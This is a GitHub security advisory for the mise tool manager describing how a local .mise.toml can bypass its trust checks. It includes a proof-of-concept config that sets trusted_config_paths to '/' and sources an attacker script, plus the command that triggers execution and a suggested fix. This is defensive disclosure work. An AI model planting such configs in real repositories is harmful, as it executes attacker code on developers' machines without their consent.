GHSA-436v-8fw5-4mj8

Suggest an improvement
Source
https://github.com/advisories/GHSA-436v-8fw5-4mj8
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-436v-8fw5-4mj8/GHSA-436v-8fw5-4mj8.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-436v-8fw5-4mj8
Aliases
Published
2026-04-07T20:13:11Z
Modified
2026-04-07T22:31:20.265111Z
Severity
  • 7.7 (High) CVSS_V3 - CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H CVSS Calculator
Summary
Local settings bypass config trust checks
Details

Summary

mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.

The strongest current variant is trusted_config_paths = ["/"]. I confirmed on current v2026.3.17 in Docker that this causes an untrusted project config to become trusted during mise hook-env, which then executes an attacker-controlled _.source script. The same preload issue also lets local yes = true / ci = true auto-approve trust prompts on v2026.2.18+, but the primary PoC below uses the stronger trusted_config_paths path.

Details

The vulnerable load order is:

  1. Settings::try_get() preloads local settings files.
  2. parse_settings_file() returns settings_file.settings without checking whether the file is trusted.
  3. trust_check() later consults those already-loaded settings.

The main trust-bypass path is in is_trusted():

let settings = Settings::get();
for p in settings.trusted_config_paths() {
    if canonicalized_path.starts_with(p) {
        add_trusted(canonicalized_path.to_path_buf());
        return true;
    }
}

If a local project file sets:

[settings]
trusted_config_paths = ["/"]

then every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.

Related variant: trust_check() auto-accepts explicit trust prompts when Settings::get().yes is true, and Settings::try_get() sets yes = true when ci is set. I confirmed that regression on v2026.2.18, but the primary PoC below does not depend on it.

PoC

Test environment:

  • Docker
  • linux-arm64
  • mise v2026.3.17

Negative control:

[env]
_.source = ["./poc.sh"]

mise ls fails with:

Config files in /work/poc/.mise.toml are not trusted.

and /tmp/mise-proof.txt is not created.

Primary exploit:

[settings]
trusted_config_paths = ["/"]

[env]
_.source = ["./poc.sh"]

with:

#!/usr/bin/env bash
echo trusted_paths_hookenv > /tmp/mise-proof.txt

Then:

mise hook-env -s bash --force

Observed:

/tmp/mise-proof.txt => trusted_paths_hookenv

Related regression check:

  • v2026.2.17: local yes = true does not bypass trust
  • v2026.2.18: the same local yes = true value auto-approves the trust prompt and the side effect file is created

Impact

An attacker who can place a .mise.toml in a repository can make mise trust and evaluate dangerous directives from that same untrusted file.

Demonstrated on current supported versions:

  • execution via [env] _.source during mise hook-env
  • bypass of the protection that mise trust is supposed to provide for dangerous config features

On newer versions, the same root cause also lets local yes / ci values auto-approve explicit trust prompts.

Suggested Fix

Do not honor trust-control settings from non-global project config files.

At minimum, ignore these fields when loading local project config:

  • trusted_config_paths
  • yes
  • ci
  • paranoid

For example:

pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {
    let raw = file::read_to_string(path)?;
    let settings_file: SettingsFile = toml::from_str(&raw)?;
    let mut settings = settings_file.settings;

    if !config::is_global_config(path) {
        settings.yes = None;
        settings.ci = None;
        settings.trusted_config_paths = None;
        settings.paranoid = None;
    }

    Ok(settings)
}
Database specific
{
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-284"
    ],
    "severity": "HIGH",
    "nvd_published_at": "2026-04-07T21:17:17Z",
    "github_reviewed_at": "2026-04-07T20:13:11Z"
}
References

Affected packages

crates.io / mise

Package

Affected ranges

Type
SEMVER
Events
Introduced
2026.2.18
Last affected
2026.4.5

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-436v-8fw5-4mj8/GHSA-436v-8fw5-4mj8.json"